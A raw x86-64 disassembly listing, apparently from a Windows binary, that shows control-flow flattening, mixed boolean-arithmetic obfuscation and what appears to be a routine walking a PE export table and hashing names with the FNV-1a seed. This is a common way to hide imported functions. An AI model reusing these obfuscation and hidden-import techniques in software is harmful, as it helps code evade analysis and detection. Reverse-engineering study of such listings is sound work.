mov eax, dword [0x1400f2768]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7e448d7d
mov ecx, 0xf088f4e1
cmove eax, ecx
cmp dword [0x1400f276c], 0xa
cmovl eax, ecx
nop word cs:[rax + rax]
nop
cmp eax, 0xf088f4e0
jg 0x140094a40
cmp eax, 0x93e3b353
je 0x140099620
cmp eax, 0xa888c428
je 0x140094a6b
cmp eax, 0xe4ecd053
jne 0x140094a00
cmp qword [rbp + 0x4b0], 0
mov eax, 0x2a1793f1
mov ecx, 0xa888c428
cmove eax, ecx
jmp 0x140094a00
cmp eax, 0xf088f4e1
je 0x140096fb1
cmp eax, 0x2a1793f1
je 0x1400949ce
cmp eax, 0x7e448d7d
jne 0x140094a00
mov rax, qword [rbp + 0x4c8]
mov eax, 0xf088f4e1
jmp 0x140094a00
mov eax, 0x6ffe1116
jmp 0x140094aa0
cmp eax, 0x62d8a4f8
jne 0x140094aa0
mov eax, dword [0x1400f2770]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa4df38c2
mov ecx, 0x91fe3c8f
cmove eax, ecx
cmp dword [0x1400f2774], 0xa
cmovl eax, ecx
nop
cmp eax, 0xf28a6f12
jle 0x140096a70
cmp eax, 0x63a2322a
jg 0x140096ad0
cmp eax, 0x34c97f98
jle 0x140096b5f
cmp eax, 0x34c97f99
je 0x140096c79
cmp eax, 0x3f1498e5
jne 0x140094a72
mov ecx, dword [0x1400f2738]
mov eax, dword [0x1400f273c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete r8b
cmp eax, 0xa
setl r9b
mov ecx, r9d
xor cl, r8b
mov ebx, edx
and bl, r9b
xor bl, cl
mov ebx, 0x17954bb8
mov esi, 0x9b012d00
cmovne ebx, esi
test edx, edx
mov edi, 0x9b012d00
cmove edi, ebx
cmp eax, 0xa
cmovl edi, esi
test cl, cl
cmove edi, ebx
test edx, edx
mov edx, 0x581f37f0
mov ecx, 0x17954bb8
cmovne edx, ecx
mov ebx, edi
cmove ebx, esi
cmp eax, 0xa
mov eax, dword [0x1400f2710]
mov esi, dword [0x1400f2714]
mov ecx, 0x581f37f0
cmovl edx, ecx
mov dword [rbp + 0x448], edx
cmovge ebx, edi
mov dword [rbp + 0x44c], ebx
lea edi, [rax - 1]
imul edi, eax
mov dword [rbp + 0x400], edi
and edi, 1
sete r10b
mov dword [rbp + 0x438], esi
cmp esi, 0xa
setge al
setl r11b
mov ebx, r11d
xor bl, r10b
mov edx, ebx
xor dl, 1
and dil, r11b
or dil, dl
xor dil, bl
mov edx, edi
xor dl, 1
and al, r10b
or al, dl
or r11b, r10b
xor r11b, bl
mov ebx, r11d
xor bl, al
mov edx, ebx
not dl
mov ecx, r11d
not cl
and cl, al
or cl, dl
xor al, 1
or al, r11b
xor cl, al
test cl, 1
mov edx, 0x8353906e
mov esi, 0x71946ac1
cmovne edx, esi
test bl, 1
mov ebx, 0x71946ac1
cmovne ebx, edx
test al, 1
cmove ebx, edx
test cl, 1
mov eax, dword [rbp + 0x4bc]
mov rcx, qword [rbp + 0x468]
mov rdx, qword [rbp + 0x470]
mov esi, 0x8353906e
cmovne ebx, esi
mov edx, dword [rdx + 0x20]
add rdx, rcx
mov r10d, dword [rdx + rax*4]
add r10, rcx
test dil, dil
mov eax, 0x8353906e
cmovne eax, ebx
test r11b, r11b
cmove eax, ebx
mov dword [rbp + 0x4c0], eax
or r9b, r8b
mov ecx, 0x7694ece2
mov eax, 0xe59fd857
cmovne ecx, eax
mov dword [rbp + 0x450], ecx
mov ecx, 0x7694ece2
mov eax, 0x9fdcb46a
cmovne ecx, eax
mov dword [rbp + 0x454], ecx
mov eax, 0xbd0b03e6
mov r9d, 0x811c9dc5
jmp 0x140094c70
mov rax, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x4d8]
mov eax, 0x9b012d00
nop dword [rax + rax]
cmp eax, 0x17954bb7
jg 0x1400967c0
cmp eax, 0xbd0b03e5
jg 0x140096930
cmp eax, 0x87ce9d3c
je 0x140096981
cmp eax, 0x9b012d00
je 0x14009699d
cmp eax, 0x9fdcb46a
jne 0x140094c70
mov dword [rbp + 0x410], r9d
mov dword [rbp + 0x490], edi
mov dword [rbp + 0x488], esi
mov dword [rbp + 0x3e8], r8d
mov qword [rbp + 0x3e0], r10
test byte [rbp + 0x400], 1
movsx r9d, byte [rbp + 0x4e7]
mov r14d, dword [rbp + 0x4d0]
sete byte [rbp + 0x4ed]
cmp dword [rbp + 0x438], 0xa
setl byte [rbp + 0x4ee]
mov eax, 0x462bec05
jmp 0x140094d10
mov eax, dword [rbp + 0x4e8]
cmp eax, 0x5b
mov eax, 0x22c0f4b1
mov ecx, 0xb9e70da7
cmovl eax, ecx
nop dword [rax]
cmp eax, 0x3117fdc3
jle 0x140094d60
cmp eax, 0x58a11e18
jg 0x140095750
cmp eax, 0x3117fdc4
je 0x140095788
cmp eax, 0x462bec05
jne 0x140094d10
movzx ecx, byte [rbp + 0x4ed]
cmp byte [rbp + 0x4ee], 0
mov eax, 0x71946ac1
mov edx, 0x3117fdc4
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x140094d10
cmp eax, 0x1f53ad1a
jg 0x140095770
cmp eax, 0x8353906e
je 0x1400957aa
cmp eax, 0xb9e70da7
jne 0x140094d10
mov r8d, dword [rbp + 0x4e8]
mov eax, r8d
and eax, 0x300d32eb
or eax, 0x8922c414
mov ecx, r8d
and ecx, 0xcff2cd14
xor ecx, eax
mov eax, ecx
xor eax, 0x76dd3beb
mov edx, ecx
xor edx, 0x8922c414
or edx, eax
xor ecx, 0x9f2d3869
and ecx, edx
xor ecx, 0x160ffc7d
and ecx, edx
mov eax, ecx
and eax, 0xe1770bb
mov r13d, ecx
and r13d, 0xf1e88f44
or r13d, 0x6022002
xor r13d, eax
xor r13d, 0x81550b9
or r13d, ecx
mov eax, r8d
and eax, 0x6098fcd3
or eax, 0xf210028
mov edx, r8d
and edx, 0x9f67032c
xor edx, eax
mov eax, edx
xor eax, 0x1367093
mov ecx, edx
or ecx, 0xf1e88f44
xor ecx, 0xffe98f6c
or ecx, eax
mov eax, edx
xor eax, 0xfec98f6c
or eax, ecx
xor ecx, edx
xor ecx, 0x1367093
and ecx, eax
mov edx, r13d
and edx, 0xee181f2d
mov esi, r13d
and esi, 0x11e7e0d2
or esi, 0x6000808
xor esi, edx
mov edx, ecx
mov eax, ecx
not r13d
and r13d, ecx
xor ecx, 0x11e7e0d2
xor edx, 0xb4b1d84f
and edx, ecx
or eax, 0x5aa9c762
xor eax, 0xfeb9df6f
or eax, edx
mov ecx, esi
xor ecx, 0x4d4e2fb8
xor esi, 0xb2b1d047
and esi, eax
not eax
and eax, ecx
or r13d, eax
or r13d, esi
not r13d
mov eax, r13d
and eax, 0xa4519b98
and r13d, 0x5bae6467
or r13d, 0x84109000
xor r13d, eax
mov eax, r13d
xor eax, 0xdfbef467
mov r11d, r13d
and r11d, 0x5dfaf697
xor r13d, 0x824402f0
and r13d, eax
mov eax, r11d
xor eax, r13d
xor eax, 0x400290
xor r11d, 0x400290
and r11d, r13d
or r11d, eax
mov r10d, r11d
xor r10d, 0xf7bc1db4
mov eax, r11d
or eax, 0xe66cfdeb
mov ecx, eax
xor ecx, 0xee6fffeb
mov edx, r11d
and edx, 0x19930214
xor edx, 0x8030200
mov esi, r11d
xor esi, 0x11d0e05f
or esi, edx
mov edx, esi
not edx
and edx, ecx
and eax, 0xc2df5143
and ecx, 0x19000214
or ecx, eax
xor ecx, esi
mov eax, edx
xor eax, ecx
xor eax, 0x3db0aebc
xor ecx, 0x19900214
and ecx, edx
mov edx, eax
and edx, 0xe66cfdeb
and eax, 0x19930214
or eax, ecx
or eax, edx
mov ebx, eax
and ebx, 0xecc1695
mov esi, eax
xor esi, 0xe8a0eb7e
mov r12d, ebx
xor r12d, 0xf9b3eb7e
mov edx, eax
xor edx, 0x175f1481
mov edi, ebx
xor edi, 0x844653a6
and edi, r12d
or ebx, 0x820a4727
mov ecx, eax
or ecx, 0x7df5b8d8
xor ecx, 0x7fffbcd9
mov r15d, eax
xor r15d, 0x6aaaac59
and r15d, esi
or r15d, ecx
mov ecx, ebx
and ecx, 0x888217a6
and eax, 0x4440010
or eax, ecx
xor ebx, 0x864e57a7
and ebx, edi
and edi, 0xecc5695
xor edi, eax
xor edi, 0x4441684
or ebx, edi
xor ebx, r15d
or edx, r12d
mov eax, edx
and eax, 0xecc1695
xor eax, ebx
xor eax, 0xecc1695
not edx
and edx, ebx
or edx, eax
mov ebx, edx
and ebx, 0x3d6ad4f5
mov r12d, edx
and r12d, 0xc2940808
mov eax, edx
or eax, 0xc2952b0a
mov edi, edx
and edi, 0xc2952b0a
mov r15d, ebx
xor r15d, 0x1501f783
and r15d, eax
xor ebx, 0x3d6ad4f5
mov esi, ebx
and esi, 0x354014c4
and eax, 0x4a2ee339
or eax, esi
or ebx, edi
xor eax, edi
not edi
mov esi, edx
or esi, 0xeaff2b7e
and edi, 0x286b2376
or edi, r12d
mov ecx, esi
and ecx, 0x8febd69e
and edx, 0x10000001
or edx, ecx
not esi
and esi, r15d
and r15d, 0x3d6af7f5
xor r15d, edx
xor r15d, 0x9fead69d
or esi, r15d
xor esi, edi
xor eax, 0xb5d11cc6
and eax, ebx
or eax, esi
mov ecx, eax
and ecx, 0xd25c9294
or ecx, 0x28034442
and eax, 0x2da36d6b
xor eax, ecx
mov ecx, eax
xor ecx, 0x156990b7
mov edx, eax
xor edx, 0xea966f48
or edx, ecx
xor eax, 0x60a362d4
and eax, edx
mov ecx, eax
xor ecx, 0x8a350d9c
or ecx, edx
xor eax, edx
xor eax, 0x75caf263
and eax, ecx
mov ecx, r8d
and ecx, 0xbae01e84
mov edx, r8d
and edx, 0x451fe17b
or edx, 0x98801e04
xor edx, ecx
mov ecx, r8d
and ecx, 0x80000
mov esi, edx
and esi, 0xb4240811
and edx, 0x4bd3f7ee
add ecx, esi
add ecx, 0x52e686
xor ecx, edx
and r8d, 0xf133e96a
mov edx, r8d
xor r8d, ecx
xor ecx, 0x9012e802
xor edx, 0xf133e96a
and edx, ecx
xor r8d, 0x672d077d
or edx, r8d
mov r15d, edx
not r15d
and r15d, eax
mov r12d, eax
or r12d, 0x8e000724
mov esi, eax
and esi, 0x8e000724
and r8d, 0xc000004
mov ebx, edx
and ebx, 0x82000720
or ebx, r8d
mov edi, eax
xor edi, 0x8a000104
and edi, esi
not esi
mov r8d, r12d
and r8d, 0xfb0fa016
mov ecx, esi
and ecx, 0xea028104
or edi, ecx
mov ecx, eax
and ecx, 0xf058c9
or ecx, r8d
xor ecx, edi
xor ecx, 0x11fd79db
mov edi, eax
and edi, 0x609ee042
and r12d, 0x9f611a9d
or r12d, edi
mov edi, eax
and edi, 0x520
and esi, 0x9f611a9d
add edi, esi
add edi, 0x609ee042
xor edi, r12d
xor eax, 0x8e000724
or eax, edi
not eax
or eax, ecx
mov ecx, ebx
and ecx, 0x6000000
and edx, 0x71fff8db
or edx, ecx
or ebx, 0x262e5009
xor ebx, edx
mov ecx, ebx
xor ecx, 0xa82e572d
xor ebx, 0x57d1a8d2
and ebx, eax
not eax
and eax, ecx
or ebx, eax
mov ecx, r15d
and ecx, 0xc64177d6
or ecx, 0x39268801
mov eax, r15d
and eax, 0x39be8829
xor eax, ecx
mov ecx, eax
xor ecx, 0xff67ffd7
mov edx, ebx
xor edx, 0x39be8829
or edx, ecx
xor eax, ebx
xor eax, 0x39268801
and eax, ecx
xor eax, edx
not eax
and ebx, r15d
mov ecx, ebx
and ecx, 0xa32261d0
or ecx, 0x10999806
mov edx, ebx
and edx, 0x5cdd9e2f
xor edx, ecx
xor edx, eax
and ebx, eax
mov eax, edx
xor eax, ebx
xor eax, 0x10999806
xor edx, 0x10999806
and edx, ebx
or edx, eax
mov eax, edx
mov r8d, edx
mov ecx, edx
mov r15d, edx
mov esi, edx
and esi, 0x310718ea
or esi, 0x6f8a511
mov r12d, edx
and r12d, 0xcef8e715
xor r12d, esi
mov esi, r12d
xor esi, 0xf7cb4c5b
or esi, edx
xor r12d, edx
and edx, 0x190a9b13
or eax, 0xe6f564ec
and r8d, 0xe6f564ec
mov edi, edx
xor edi, 0xc026d4ea
and edi, eax
or ecx, 0xfffd6ffd
mov ebx, ecx
and ebx, 0xb0495454
and r15d, 0x28002
or r15d, ebx
not ecx
and ecx, edi
and edi, 0x592e9bbb
xor edi, r15d
xor edi, 0x304b9016
or ecx, edi
xor ecx, r8d
xor ecx, 0xd92c4ff9
xor edx, 0x190a9b13
mov edi, edx
and edi, 0x21101
and eax, 0xddf8ce1a
or eax, edi
or edx, r8d
xor eax, r8d
xor eax, 0x220731e5
and eax, edx
or eax, ecx
mov ecx, eax
xor ecx, 0x190a9b13
xor eax, 0x17c68da6
or eax, ecx
xor r12d, 0x834b3a4
and r12d, esi
mov ecx, eax
not ecx
and ecx, r12d
xor r12d, eax
xor r12d, ecx
mov ecx, r11d
xor ecx, 0x843e24b
mov ebx, r11d
mov r8d, r11d
mov r15d, r11d
mov esi, r11d
and esi, 0xf4e5e31e
xor r11d, 0x359feaa
and r11d, r10d
mov eax, esi
xor eax, r11d
xor eax, 0x41e20a
xor esi, 0x41e20a
and esi, r11d
or esi, eax
mov r11d, esi
xor r11d, 0x6653709e
and r11d, ecx
or ecx, r10d
and r13d, 0x82000820
and ebx, 0x1098338a
or ebx, r13d
and r8d, 0x6d67c455
or r8d, ebx
mov ebx, r8d
xor ebx, 0x6524261e
mov edi, ecx
and edi, 0x6d67c455
xor r15d, ecx
and ecx, 0x92983baa
or ecx, 0x64244445
xor ecx, edi
mov edi, ecx
xor edi, 0xf6bc7fef
xor r8d, 0x9adbd9e1
and r8d, edi
xor ecx, 0x9438010
and ecx, ebx
xor r15d, 0xf7bc1db4
or r15d, r10d
not r15d
or r15d, ecx
or r15d, r8d
mov ecx, r15d
not ecx
mov ebx, r15d
and ebx, 0x6d496c7f
mov eax, esi
xor eax, 0x99ac8f61
and eax, r10d
or eax, r11d
xor esi, eax
xor esi, 0x6653709e
and esi, eax
mov eax, r15d
xor eax, 0x5014c23
and eax, ebx
and ebx, esi
mov edx, r15d
and edx, 0x5014c23
xor edx, eax
xor edx, 0x85b5cfa3
and eax, 0x5014c23
or eax, edx
mov edx, esi
and edx, 0x85b5cfa3
or edx, 0x840004c
and esi, 0x7a4a305c
xor esi, edx
xor esi, eax
mov eax, esi
mov edx, ebx
xor edx, esi
xor edx, 0x720a3010
mov edi, edx
and edi, ebx
xor esi, 0x60082010
and esi, ebx
not ebx
xor eax, 0x8df5cfef
and eax, ebx
or eax, esi
xor eax, edi
and esi, edx
or esi, eax
mov ebx, ecx
and ebx, r15d
and r15d, 0x29086950
and ecx, 0xd6f7968f
or ecx, r15d
xor ecx, 0xd6f7968f
and ebx, 0xffffffdf
or ebx, ecx
mov r8d, esi
xor r8d, 0x6d496c5f
lea r10d, [rbx + 0x20]
mov edx, esi
xor edx, 0xe8f03d9b
mov eax, esi
xor eax, 0x92b693a0
or eax, edx
mov edi, esi
or edi, 0x7a46ae3b
xor edi, 0x7f4fee7f
or edx, edi
mov r11d, ebx
and r11d, 0x85b951c4
mov ecx, ebx
xor ecx, 0x85b951e4
or ecx, r11d
not eax
and eax, edi
xor eax, edx
mov edx, ecx
and edx, 0xffffffdf
mov edi, edx
xor edi, 0x6727c902
xor ebx, 0x291100
and ebx, r11d
mov r15d, edi
xor edx, 0xffffffdf
mov r13d, edx
and r13d, 0x1bcc4c01
and edi, 0xe433b3de
or edi, r13d
or edx, r11d
xor edi, r11d
or r11d, 0x8594c8c6
xor ebx, r11d
or r15d, 0x8594c8c6
or ecx, 0x7a6b3739
xor ecx, r15d
mov r11d, ecx
xor r11d, 0x81000
and r11d, ebx
not ebx
xor ecx, 0xe7b341e4
and ecx, ebx
or ecx, r11d
xor edi, 0x7fefcd03
and edi, edx
or edi, ecx
mov ecx, eax
xor ecx, 0x1ac5778a
mov edx, edi
and edx, 0xe53a8875
or edx, 0x8453780
and edi, 0x1ac5778a
xor edi, edx
mov edx, edi
xor edx, 0xed7fbff5
xor eax, 0xe53a8875
and eax, edx
xor edi, 0x1280400a
and edi, ecx
or edi, eax
and r8d, r10d
xor esi, r10d
xor esi, 0x6d496c5f
or esi, r8d
mov edx, edi
and edx, 0x5bce1f7c
xor edx, esi
mov eax, edi
xor eax, esi
not esi
or esi, edi
and edi, 0xa431e083
or edi, 0x1ac01b00
xor edx, edi
and esi, eax
mov eax, edx
xor eax, esi
xor eax, 0xe53fe4ff
xor edx, 0xe53fe4ff
and edx, esi
or edx, eax
mov ecx, edx
and ecx, 0x563e2c9a
or ecx, 0x9005300
mov eax, edx
and eax, 0xa9c1d365
xor eax, ecx
mov ebx, edx
xor ebx, eax
xor eax, 0xf6ffacff
or eax, edx
xor ebx, 0x9005300
and eax, ebx
mov ecx, eax
xor ecx, edx
and ecx, ebx
mov ebx, edx
and ebx, 0xa4a3d9c2
and edx, 0x5b5c263d
or edx, 0xa0a01800
xor edx, ebx
mov ebx, edx
xor ebx, 0xfbfc3e3d
mov edi, eax
and edi, 0xa4a3d9c2
or edi, 0x4354221d
and eax, 0x5b5c263d
xor eax, edi
mov edi, eax
xor edi, 0xe7f7fbdf
xor edx, 0x403c1c2
and edx, edi
xor eax, 0x18080420
and eax, ebx
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, r12d
mov r10d, r12d
xor r10d, eax
xor r10d, ecx
mov r8d, r12d
and r8d, 0x9903995d
mov ecx, eax
or ecx, 0x66fc66a2
mov esi, ecx
not esi
mov r11d, eax
and r11d, 0x66fc66a2
and r12d, 0x66fc66a2
or r12d, 0x98008855
and ecx, 0xae0a6a3c
mov edi, esi
and edi, 0x11019141
or edi, ecx
mov ebx, edi
xor ebx, 0x51f595c3
mov ecx, edi
xor edi, 0xae0a6a3c
mov r15d, edi
or edi, r11d
not r11d
xor ecx, 0xc263434a
and ecx, ebx
and esi, 0x91029009
or esi, ecx
mov ecx, eax
and ecx, 0x60080022
mov edx, r11d
and edx, 0xc602114
add ecx, edx
add ecx, 0x3020681
mov edx, eax
and edx, 0x2944680
xor edx, ecx
mov ecx, edx
xor ecx, 0x630b0ee3
xor edx, 0x9cf4f11c
and edx, esi
not esi
and esi, ecx
or edx, esi
and r15d, 0x89021805
and ebx, 0x10ddc158
or ebx, r15d
and eax, 0x662026a2
and r11d, 0x10ddc158
or r11d, eax
xor r11d, ebx
not r11d
and r11d, edi
or r11d, edx
xor r11d, r8d
xor r11d, r12d
mov eax, r11d
xor eax, 0x1031108
mov ecx, r10d
xor r11d, 0xfefceef7
and r11d, r10d
xor r10d, 0x6ee49458
mov edx, eax
and edx, 0x6ee49458
and eax, 0x911b6ba7
or eax, 0x26e40458
xor eax, edx
mov edx, eax
xor edx, 0xb7ff6fff
xor ecx, 0x911b6ba7
and ecx, edx
xor eax, 0x48009000
and eax, r10d
or r11d, eax
or r11d, ecx
mov eax, 0x1f53ad1b
jmp 0x140094d10
cmp eax, 0x58a11e19
je 0x140094cf6
cmp eax, 0x71946ac1
jne 0x140094d10
mov eax, 0x3117fdc4
jmp 0x140094d10
cmp eax, 0x22c0f4b1
jne 0x1400957c3
mov eax, 0x1f53ad1b
mov r11d, dword [rbp + 0x4e8]
jmp 0x140094d10
mov dword [rbp + 0x4e8], r9d
mov eax, dword [rbp + 0x4e8]
cmp eax, 0x41
setge byte [rbp + 0x4ef]
mov eax, dword [rbp + 0x4c0]
jmp 0x140094d10
cmp byte [rbp + 0x4ef], 0
mov eax, 0x22c0f4b1
mov ecx, 0x58a11e19
cmovne eax, ecx
jmp 0x140094d10
cmp eax, 0x1f53ad1b
jne 0x140094d10
mov eax, r14d
and eax, 0xa06206ca
mov ecx, r14d
and ecx, 0x5f9df935
or ecx, 0x620008
xor ecx, eax
mov edx, ecx
xor edx, 0xff9dfff7
mov ebx, ecx
xor ebx, 0x3c382075
and ebx, edx
mov eax, ecx
and eax, 0xc3a5df82
xor eax, 0x200000
or eax, ebx
xor ecx, 0x620008
or ecx, edx
xor eax, 0xc3a5df82
and eax, ecx
mov edx, eax
and edx, 0x1ba9fcee
mov ecx, eax
xor ecx, 0xa0020200
and ecx, eax
mov ebx, eax
or ebx, 0xe4560311
xor edx, 0xb1aab604
and edx, ebx
mov r10d, eax
or r10d, 0xee574bfb
mov ebx, eax
and ebx, 0xa0020200
xor ebx, 0xaa034aea
and ecx, 0xe4560311
or ecx, ebx
mov ebx, r10d
and ebx, 0x921be1fb
and eax, 0x1a01404
or eax, ebx
not r10d
and r10d, edx
and edx, 0x3ba9feee
xor edx, eax
xor edx, 0x13b9f5ff
or r10d, edx
xor r10d, ecx
mov eax, r10d
and eax, 0x8b181a5c
or eax, 0x34434021
and r10d, 0x74e7e5a3
xor r10d, eax
mov eax, r10d
xor eax, 0x2feabccf
mov ecx, r10d
xor ecx, 0xd0154330
mov edx, r10d
or edx, 0x2769e20a
xor edx, 0xf77de33a
xor r10d, 0xf77ca13a
and r10d, eax
or r10d, edx
or ecx, eax
xor r10d, 0x2769e20a
and r10d, ecx
mov eax, r10d
xor eax, 0x2e69652b
mov ecx, eax
and ecx, 0xe043fd87
or ecx, 0xaa80010
mov r13d, eax
and r13d, 0x1fbc0278
xor r13d, ecx
and eax, 0x2e69652b
mov ecx, eax
xor ecx, r13d
xor ecx, 0x24c1653b
xor r13d, 0x2441652b
and r13d, eax
or r13d, ecx
mov eax, r14d
and eax, 0xfb1401a1
or eax, 0x688008
mov r9d, r14d
and r9d, 0x4ebfe5e
xor r9d, eax
mov eax, r9d
xor eax, 0xbaad4363
or r9d, 0x453a3c94
xor r9d, 0x457abc9c
or r9d, eax
mov eax, r14d
and eax, 0xbac5c36b
mov ecx, r9d
xor ecx, 0x29379af7
mov edx, r14d
and edx, 0x92c04108
or edx, 0x29151af2
mov ebx, r14d
and ebx, 0x28058263
xor ebx, edx
mov edx, ebx
xor edx, 0xffdd7ffa
mov edi, r9d
xor edi, 0xd6c86508
and edi, edx
xor ebx, 0x228005
and ebx, ecx
or ebx, edi
mov ecx, r9d
xor ecx, eax
not r9d
or r9d, eax
and r9d, ecx
or r9d, ebx
mov eax, r14d
and eax, 0x3e90666b
mov ecx, r14d
and ecx, 0xc16f9994
or ecx, 0x2a106008
xor ecx, eax
xor ecx, r9d
mov eax, r9d
xor eax, r14d
xor eax, 0x94aca640
xor r9d, 0x94aca640
and r9d, r14d
or r9d, eax
mov eax, ecx
xor eax, 0x414339b7
or eax, r9d
xor r9d, ecx
xor r9d, 0xbebcc648
and r9d, eax
mov r12d, r11d
not r12d
mov edx, r11d
and edx, 0x437fed4a
mov eax, r11d
and eax, 0xbc8012b5
or eax, 0x4127600a
xor eax, edx
xor eax, 0x2588d40
or eax, r11d
mov edi, r11d
and edi, 0x25b4148
xor edi, 0xadb43e9
mov ecx, r11d
xor ecx, 0xbedb53fd
and ecx, edx
mov edx, eax
and edx, 0xadb43e9
and eax, 0xf524bc16
or eax, 0x8004140
xor eax, edx
mov edx, ecx
not edx
or edx, r11d
not edx
and edx, 0x25b4148
or ecx, edi
or ecx, edx
mov edx, ecx
xor edx, eax
xor edx, 0x4924ed42
and edx, ecx
xor eax, 0x25b0008
or eax, ecx
xor eax, edx
mov ecx, eax
not ecx
mov edi, eax
xor edi, 0x8801225
and edi, ecx
mov ecx, eax
or ecx, 0x437fed4a
and edi, 0xbc8012b5
mov esi, eax
and esi, 0x437fed4a
lea r8d, [rsi - 0x4bffff70]
mov ebx, eax
and ebx, 0x14000010
mov edx, ecx
and edx, 0xa0448dc0
or edx, ebx
xor edx, edi
lea edi, [rdx + 0x1384000]
mov ebx, eax
and ebx, 0x28800011
and ecx, 0x9729dbac
or ecx, ebx
xor ecx, esi
xor esi, 0x4a83322f
and esi, edi
xor edx, 0xf647adda
and edx, r8d
or edx, esi
xor ecx, 0xbfa9dbbd
xor eax, 0x437fed4a
or eax, ecx
not eax
or eax, edx
mov ecx, eax
xor ecx, 0xb735624
mov edx, eax
or edx, 0xbf61617e
mov ebx, eax
xor ebx, 0x4bedc8a5
and ebx, ecx
mov ecx, edx
and ecx, 0xab6bb319
and eax, 0x40940c80
or eax, ecx
xor eax, ebx
xor eax, 0xebeda999
xor edx, 0xffede9ff
and edx, ebx
or edx, eax
mov ecx, edx
xor ecx, 0xb412375a
mov ebx, edx
and ebx, 0x41963a78
xor ebx, 0x41840820
mov eax, edx
xor eax, 0xf5840d22
and eax, ecx
or eax, ebx
mov ecx, eax
xor ecx, 0xbe69c587
mov ebx, eax
and ebx, 0xc7ae538e
xor ebx, 0x41861208
mov edi, eax
xor edi, 0x863869f6
or edi, ebx
mov ebx, edx
xor ebx, 0x73bc64d4
xor edx, 0x4bedc8a5
or edx, ebx
and edx, edi
mov ebx, eax
xor ebx, 0x9000a0ac
and ebx, ecx
mov ecx, eax
xor ecx, ebx
xor ecx, 0x6fff5f53
xor eax, 0x6fff5f53
and eax, ebx
or eax, ecx
mov esi, edx
xor esi, 0x1638c95a
mov ebx, edx
xor ebx, 0xdba443a
and ebx, esi
mov edi, edx
or edi, 0xe47d729f
mov r8d, edi
and r8d, 0x160e96b2
mov ecx, edx
and ecx, 0x9800940
or ecx, r8d
xor ecx, ebx
xor ecx, 0xd8e16b2
xor edi, 0xedff76bf
and edi, ebx
or edi, ecx
xor edi, eax
xor edx, eax
xor edx, 0x1638c95a
and esi, eax
or esi, edx
mov ecx, edi
xor ecx, 0xe47d729f
xor edi, esi
xor edi, 0xe47d729f
or ecx, esi
not ecx
or ecx, edi
mov eax, ecx
and eax, 0x6ec3b5e4
or eax, 0x80801
and ecx, 0x913c4a1b
or ecx, 0x28c13164
xor ecx, eax
mov eax, ecx
xor eax, 0xd736c69a
mov edx, ecx
or edx, 0xfb4c88f1
xor edx, 0xfbcdb9f5
mov ebx, ecx
xor ebx, 0xd385b194
and ebx, eax
or ebx, edx
xor ecx, ebx
xor ebx, 0x4b3770e
or ebx, eax
xor ecx, 0x2c7a4e6b
and ecx, ebx
or r12d, 0xd1969ad4
mov eax, r11d
and eax, 0x248000a
mov edx, r12d
and edx, 0x98b14025
or edx, eax
mov r15d, r12d
and r15d, 0x25043500
or r15d, edx
mov eax, r15d
and eax, 0xb2a41504
xor eax, 0x20280c0
xor r15d, 0xf0ec1f1e
or r15d, eax
and r11d, 0x22000528
and r12d, 0x5debeac7
or r12d, r11d
mov eax, r12d
and eax, 0xc49602b
xor eax, 0xc496003
xor r12d, 0x10b280fc
or r12d, eax
mov eax, r15d
and eax, 0xfffdff3f
xor eax, 0x1aaf6d2c
and eax, r15d
mov edx, r15d
and edx, 0x1aad6dac
or edx, 0x24001052
mov ebx, r12d
and ebx, 0x64400203
or r15d, r12d
and r12d, 0xa296d28
or r12d, 0x64528243
xor r12d, ebx
xor r12d, edx
xor r12d, eax
xor r12d, 0x41429241
not r15d
or r15d, r12d
mov r11d, r9d
mov r8d, r9d
mov eax, r9d
mov edx, r9d
mov edi, r9d
mov ebx, r9d
and ebx, 0x100108
mov esi, r9d
or esi, 0x3bac76d0
mov r12d, r9d
xor r12d, 0xc453892f
or r12d, esi
and esi, 0xfc6bc837
or esi, ebx
mov ebx, r9d
xor esi, r9d
and r9d, 0x8d80cfea
xor r11d, 0x1008060
and r11d, r9d
and r8d, 0x70663010
and eax, 0x2190005
or eax, 0x7c006010
xor eax, r8d
and edx, 0x1008060
or edx, 0x4804600
xor edx, r11d
xor edx, eax
xor edx, 0xaff1605
and edi, 0x727f3015
or edi, 0x8000cf62
xor edi, r9d
xor edi, 0xf27fff77
xor ebx, 0x8d80cfea
or ebx, edi
not ebx
or ebx, edx
mov r11d, ebx
xor r11d, 0x727f3015
mov eax, ebx
xor eax, 0xb62cb93a
and eax, r11d
mov edi, ebx
xor edi, 0x49d346c5
or edi, eax
xor esi, 0x38284010
and esi, r12d
mov r9d, r13d
xor r9d, 0x40008000
and r9d, r13d
and r10d, 0x40008000
xor r10d, 0x4a849408
and r9d, 0x44018902
or r9d, r10d
mov edx, r13d
mov r8d, r13d
mov eax, r13d
and eax, 0x8010000c
and edx, 0x420021
or edx, 0x45880090
xor edx, r9d
and r8d, 0x3bac76d0
xor r8d, 0x8afe54bd
xor eax, edx
xor eax, 0x1a04008
and eax, r8d
xor edx, 0x41a14902
or edx, r8d
xor edx, eax
mov r8d, edi
mov eax, edi
and eax, 0xb2e0d7b3
and r8d, 0x4d1f284c
or r8d, 0x22804682
xor r8d, eax
mov r10d, r8d
xor r10d, 0x6f9f6ece
mov eax, esi
and eax, 0xb2e0d7b3
or eax, 0x45082048
mov r14d, esi
and r14d, 0x4d1f284c
xor r14d, eax
mov r12d, r8d
xor r12d, 0x98385838
and r12d, r10d
mov eax, r14d
xor eax, 0x8170804
mov r9d, r14d
xor r9d, 0x4fc10d
and r9d, eax
mov r10d, r8d
or r10d, 0x858c909
or r14d, 0xf7a736f6
xor r14d, 0xf7eff7ff
or r14d, r9d
mov eax, r10d
and eax, 0x8899f000
and r8d, 0x772606f6
or r8d, eax
mov eax, edi
xor r8d, r12d
xor r10d, 0x9878d939
and r10d, r12d
mov r12d, edi
and eax, 0x9e366bbf
xor eax, esi
xor r12d, esi
not esi
or esi, edi
xor r8d, 0x9838d030
or r10d, r8d
mov r8d, r13d
xor r10d, r14d
mov r9d, r13d
and edi, 0x61c99440
or edi, 0x21040b3
xor eax, edi
and esi, r12d
mov edi, eax
xor edi, esi
xor edi, 0xfdefbf4c
xor eax, 0xfdefbf4c
and eax, esi
or eax, edi
mov esi, eax
and esi, 0xc0508439
or esi, 0x892802
and eax, 0x3faf7bc6
xor eax, esi
mov r12d, eax
xor r12d, 0x892802
